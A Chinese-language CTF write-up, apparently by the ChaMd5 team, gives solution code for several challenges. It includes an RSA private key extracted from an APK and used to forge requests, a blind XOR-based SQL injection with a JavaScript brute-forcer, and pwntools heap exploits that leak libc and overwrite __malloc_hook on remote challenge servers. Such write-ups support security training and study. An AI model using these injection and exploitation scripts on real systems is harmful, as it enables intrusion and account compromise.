Java 和 python 的 RSA 私钥加密略有不同,所以不浪费时间,直接从 apk 里抠出来加密部分,注意需要处理一下 base64 部分
GameApp.java
package ctf;
import java.security.Key;
import java.security.KeyFactory;
import java.security.interfaces.RSAPrivateKey;
import java.security.spec.PKCS8EncodedKeySpec;
import java.util.Base64;
import java.util.Base64.Decoder;
import java.util.Base64.Encoder;
import java.util.HashMap;
import java.util.Map;
import javax.crypto.Cipher;
public class GameApp {
private static Map<Integer, String> keyMap = new HashMap();
public static void genKeyPair() {
keyMap.put(Integer.valueOf(0), "MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCqtXUIVoPUcBV1Wl3g8rGGNvMY\nImonQdMC1Y8USwIwf7Y0GcBP/h6fAJPAS9//qYZzy8ZfDKH1+ezifFFCUTCCa/8a\nYFoms223okyzeTlUIRHbIkto1JxYOazbsE6+KmE+yJiij4839SYuC1KsLWT82uHE\nA3Hau/DTzW4g4xhvzQIDAQAB");
keyMap.put(Integer.valueOf(1), "MIICeAIBADANBgkqhkiG9w0BAQEFAASCAmIwggJeAgEAAoGBAKq1dQhWg9RwFXVa\nXeDysYY28xgiaidB0wLVjxRLAjB/tjQZwE/+Hp8Ak8BL3/+phnPLxl8MofX57OJ8\nUUJRMIJr/xpgWiazbbeiTLN5OVQhEdsiS2jUnFg5rNuwTr4qYT7ImKKPjzf1Ji4L\nUqwtZPza4cQDcdq78NPNbiDjGG/NAgMBAAECgYBUdazusCdPbxke09QI3Oq6VeuW\ncEiHHckx6Ml+p9Hwfu99/ZOpwDgUQSvZA3FTQ+PS3OpL0qs7USlDsXBe2F6gCZ/e\n1BvkEPE/FymHbzbSpr8BwjEel/kup842z11SujNxHbeznrXKNfvDlqR5HM7CurYE\nrBW0X8She8lNAqXBXQJBANj3pPvSHFQ4ugkWst6XCX/gd5vQuvPzeUwHpReSdRsm\nA6Jmv8oP03MQzjvsyrMoPatMzhN5Qtfpw12Febfl1pcCQQDJa2RGtK2jCiKxzKcb\nUp9pPiSxtsdavneKoCG/tndICyGfeT1NRGSQsJCHIhxdee4QQYWUrzhbFBLLZDq4\nsj07AkEAykt0T7si4MAXbPv2AKZQnCN9QhGHDof3k5UZL/ZFK+/wuY4Vyl+hJosH\nz0XD5PFjNoGhLvUEBu6VUnBuAbHRtwJBAKysnHLhQlqbvdKfmEMcOf2HgP25rH5m\n+ySk00n/q5LfuBt3XM54653/QGgZHigk96qIAXTOIooyU0p6yry8UTECQQCy8tuf\nlq8/8ISRdkHixENX+APeYr4hjmn5mUFJgB4qFUp1ReR0nA2oGf6IkzAWEwLvEchu\nKMtF7eEv1kHS+3Wd");
}
public static String private_encrypt(String paramString) throws Exception {
Decoder decoder = Base64.getDecoder();
Object localObject = decoder.decode(keyMap.get(Integer.valueOf(1)).replaceAll("\n", "").getBytes());
localObject = (RSAPrivateKey)KeyFactory.getInstance("RSA").generatePrivate(new PKCS8EncodedKeySpec((byte[])localObject));
Cipher localCipher = Cipher.getInstance("RSA/ECB/PKCS1Padding");
localCipher.init(1, (Key)localObject);
Encoder encoder = Base64.getEncoder();
return encoder.encodeToString(localCipher.doFinal(paramString.getBytes("UTF-8")));
}
public static void main(String[] args) throws Exception {
genKeyPair();
System.out.println(private_encrypt("{\"player\":\"virink_tql\"}"));
System.out.println();
System.out.println(private_encrypt("{\"op\":\"add\",\"score\":100}"));
}
}
运行后得到 login 和 addscore 加密后的数据,发送给服务端即可
注意需要处理 cookie,每次请求后的 cookie 都会更新
试了一下好像^注入可以,过滤了ascii
substr可用
admin' ^ (length(password)=32) ^ '1
密码长度是32位
admin' ^ (substr(password,1,1)='a') ^ '1
弱弱的写下另一个思路,直接在console敲代码
注意需要处理 cookie,每次请求后的 cookie 都会更新
function randomPassword(size)
{
var seed = new Array('A','B','C','D','E','F','G','H','I','J','K','L','M','N','P','Q','R','S','T','U','V','W','X','Y','Z',
'a','b','c','d','e','f','g','h','i','j','k','m','n','p','Q','r','s','t','u','v','w','x','y','z',
'2','3','4','5','6','7','8','9'
);
seedlength = seed.length;
var createPassword = '';
for (i=0;i<size;i++) {
j = Math.floor(Math.random()*seedlength);
createPassword += seed[j];
}
return createPassword;
}
function encode(username, password){
var a = randomPassword(16);
var key = CryptoJS.enc.Latin1.parse(a);
var iv = CryptoJS.enc.Latin1.parse('1234567890123456');
var data1 = username;
var encrypted1 = CryptoJS.AES.encrypt(data1, key, { iv: iv, mode: CryptoJS.mode.CBC, padding: CryptoJS.pad.ZeroPadding });
var data2 = password;
var encrypted2 = CryptoJS.AES.encrypt(data2, key, { iv: iv, mode: CryptoJS.mode.CBC, padding: CryptoJS.pad.ZeroPadding });
$('#username').val(encrypted1);
$('#password').val(encrypted2);
var password = $('#password').val();
var username = $('#username').val();
var rsa = new RSAKey();
var modulus = "CDB41B014C244A55CEC3E9D222B22C8A05A7DD7DF8A419A2A9C08E91DF725A1FD4C09777F36D394701C5DB97CCFC52FFBD5A90329295F5CEBBB89986BAAFAE4FE58A1F3ECFC39A7B960F5697632CE9D2FAA787F36D9CF5F4FE59DBB52E0554CC4B510D87AB72EB80D36A61E8B9AD00F37720578986E5F17AB0387754566F4E2B";
var exponent = "010001";
rsa.setPublic(modulus, exponent);
var res = rsa.encrypt(a);
return [username, password, res]
}
// wrong password
// wrong user
var password = '';
var strings = 'abcdefghijklmnopqrstuvwxyz0123456789';
function get_password(i, j) {
if(i > 32 || j > 36) return;
var x = strings[j];
var username = "' ^ (substr(password," + i +",1)='" +x+"') ^ '1";
res = encode(username, 'admin');
$.ajax({
type:"post",
url:"login.php",
data: {username:res[0], password:res[1], code:res[2]},
dataType: 'text',
async : false,
success:function(result){
if(result == 'wrong user') {
// console.log(result);
get_password(i, ++j);
} else {
password += x;
console.log(password);
get_password(++i, 0);
}
}
});
}
get_password(1, 0);
会爆栈,别问我为什么用递归,谁知道用for循环它只执行一次,所以可以分几次跑,修改一下get_password的参数。
用chamd5.org查出来密码是admin123password321,登陆即可获得flag
注意需要处理 cookie,每次请求后的 cookie 都会更新
from pwn import *
#context.log_level='debug'
ip='121.40.216.20'
# ip='127.0.0.1'
port=9999
p=remote(ip,port)
g='0'
s='100000000000000000000000000000000'
def num2str(num):
return hex(num).replace('0x','').replace('L','')
def pad(num1,num2):
p.sendline(g)
p.sendlineafter('s',s)
p.sendlineafter('g1',num2str(num1))
p.sendlineafter('g2',num2str(num2))
flag=p.recvuntil('g')
print(flag)
if '1' in flag:
return True
else:
return False
l=0
r=pow(2,128)
while (r-l)>3:
t=(r-l)/3
m1=l+t
m2=m1+t
if pad(l,m1):
r=m1
else:
if pad(m1,m2):
l=m1
r=m2
else:
l=m2
for i in range(r-l):
pad(l+i,l+i)
ewm
解题思路
用 ps 拼个图 ,扫一下就出来了
from pwn import *
#context.log_level = 'debug'
p = process('./amazon')
#p=remote("121.41.38.38",9999)
libc=ELF("./libc-2.27.so")
def g(p,data=False):
gdb.attach(p,data)
raw_input()
def ru(x):
return p.recvuntil(x)
def se(x):
p.send(x)
def sl(x):
p.sendline(x)
def rl():
return p.recvline()
def re(x):
return p.recv(x)
def add(idx,price,length,data):
ru("Your choice: ")
sl(str(1))
ru("uy: ")
sl(str(idx))
ru("many: ")
sl(str(price))
ru("note: ")
sl(str(length))
ru("tent: ")
se(data)
def add2(idx,price,length):
ru("Your choice: ")
sl(str(1))
ru("uy: ")
sl(str(idx))
ru("many: ")
sl(str(price))
ru("note: ")
sl(str(length))
def show():
ru("Your choice: ")
sl(str(2))
def free(idx):
ru("Your choice: ")
sl(str(3))
ru("for: ")
sl(str(idx))
add(1,0x10,0x90,"1"*8)
add(1,0x10,0x80,p64(0))
free(1)
add(1,0x10,0x30,"3"*8)
free(2)
add(1,0x10,0x20,";$0\x00")
add(1,0x10,0x20,"2"*8)
free(0)
free(0)
show()
ru("Name: ")
heap=u64(re(6).ljust(8,"\x00"))-0x260
print hex(heap)
for i in range(6):
free(0)
show()
ru("Name: ")
lib=u64(re(6).ljust(8,"\x00"))-0x3ebca0
print hex(lib)
hook=libc.symbols["__malloc_hook"]
hook=lib+hook
print hex(hook)
one=lib+0x10a38c
realloc=lib+libc.symbols["realloc"]
add(1,0x10,0x80,"y"*0x60+p64(0)+p64(0x51)+p64(lib+0x3ebce0)*2)
add(1,0x10,0x90,"1"*8)
add(1,0x10,0x90,p64(lib+0x3ebcb0)*2+p64(lib+0x3ebcc0)*2+p64(lib+0x3ebcd0)*2+p64(heap+0x340+0x60)*2)
add(1,0x10,0x20,p64(hook-0x28))
add(1,0x10,0x30,"wwe")
add(1,0x10,0x30,p64(one)+p64(realloc+0x9))
add2(1,1,0x60)
p.interactive()
fkroman
解题思路
爆破stdout 泄露libc,利用fastbin attack 劫持__malloc_hook
注意需要处理 cookie,每次请求后的 cookie 都会更新
from pwn import *
context.log_level = 'debug'
def rv():
p.recv()
def ru(data):
p.recvuntil(data)
def sl(data):
p.sendline(data)
def sd(data):
p.send(data)
def add(idx,size):
ru("choice: ")
sl("1")
rv()
sl(str(idx))
rv()
sl(str(size))
def free(idx):
ru("choice: ")
sl("3")
rv()
sl(str(idx))
def edit(idx , size , data):
ru("choice: ")
sl("4")
rv()
sl(str(idx))
rv()
sl(str(size))
rv()
sd(data)
for i in range(100):
try:
#p= process("./fkroman")
p=remote("121.40.246.48","9999")
add(0,0xa0)
add(1,0x60)
add(2,0x60)
free(0)
add(3,0x60)
edit(3,2,"\xdd\x25")
free(1)
free(2)
edit(2,1,"\x00")
add(4,0x60)
add(5,0x60)
add(6,0x60)
payload = "a"*3 +p64(0)*6 + p64(0xfbad1800) + p64(0)*3+"\x00"
edit(6,len(payload) , payload)
libc_base = u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00")) - 0x7ffff7dd2600 + 0x00007ffff7a0d000
#repair fastbin
free(4)
edit(4,8,p64(libc_base -0x7ffff7a0d000+ 0x7ffff7dd1aed ))
add(7,0x60)
add(7,0x60)
payload = "a"*3 + p64(0)*2+p64(libc_base + 0xf1147)
gdb.attach(p)
edit(7,len(payload),payload)
add(9,0x20)
p.interactive()
except:
print i
还有上次byte_ctf 的mul_note做法,
from pwn import *
context.log_level = 'debug'
def add(idx,size):
p.sendlineafter("choice: ","1")
p.sendlineafter("Index: ",str(idx))
sleep(0.1)
p.sendlineafter("Size: ",str(size))
def free(idx):
p.sendlineafter("choice: ","3")
p.sendlineafter("Index: ",str(idx))
def edit(idx,size,data):
p.sendlineafter("choice: ","4")
p.sendlineafter("Index: ",str(idx))
sleep(0.1)
p.sendlineafter("Size: ",str(size))
p.sendafter("Content: ",data)
for i in range(1000):
try:
#p = process("./fkroman")
p = remote("121.40.246.48","9999")
add(0,0x10)
add(1,0xe0)
add(2,0x10)
add(3,0xe0)
add(4,0xe0)
add(5,0xe0)
add(9,0xe0)
add(10,0x68)
free(1)
edit(1,10,"a"*8+"\xe8\x37\n")
#modify global_max_fast
p.sendline("")
add(6,0xe0)
free(3)
edit(3,2,"\xcf\x25\n")
p.sendline("")
add(7,0xe0)
add(7,0xe0)
payload = "a"+p64(0)*7+p64(0xf1)+p64(0xfbad1887)+p64(0)*3+"\x00"+"\n"
edit(7,len(payload),payload)
libc_base = u64(p.recvuntil("\xff\x7f").ljust(8,"\x00"))-0x7ffff7a89b00+0x00007ffff7a0d000
log.info(hex(libc_base))
gdb.attach(p)
p.sendline("")
p.recv()
p.recv()
p.sendline("")
p.recv()
p.sendline("3")
p.recv()
p.sendline("5")
free(10)
edit(10,8,p64(libc_base -0x00007ffff7a0d000 + 0x7ffff7dd1aed))
p.sendline("")
p.recv()
p.sendline("")
p.recv()
p.sendline("1")
p.recv()
p.sendline("11")
p.recv()
p.sendline(str(0x68))
add(11,0x68)
one_gadget = libc_base + 0xf1147
#edit(11,0x30,"aaa"+p64(0) + p64(libc_base +0x7ffff7dd1b10 -0x7ffff7a0d000 ) +p64(one_gadget))
edit(11,0x30,"aaa"+p64(0) + p64(0) +p64(one_gadget))
p.sendline("")
#free(10)
#free(10)
add(11,0x10)
p.interactive()
except:
print i
招新小广告
ChaMd5 ctf组 长期招新
尤其是crypto+reverse+pwn+合约的大佬
欢迎联系admin@chamd5.org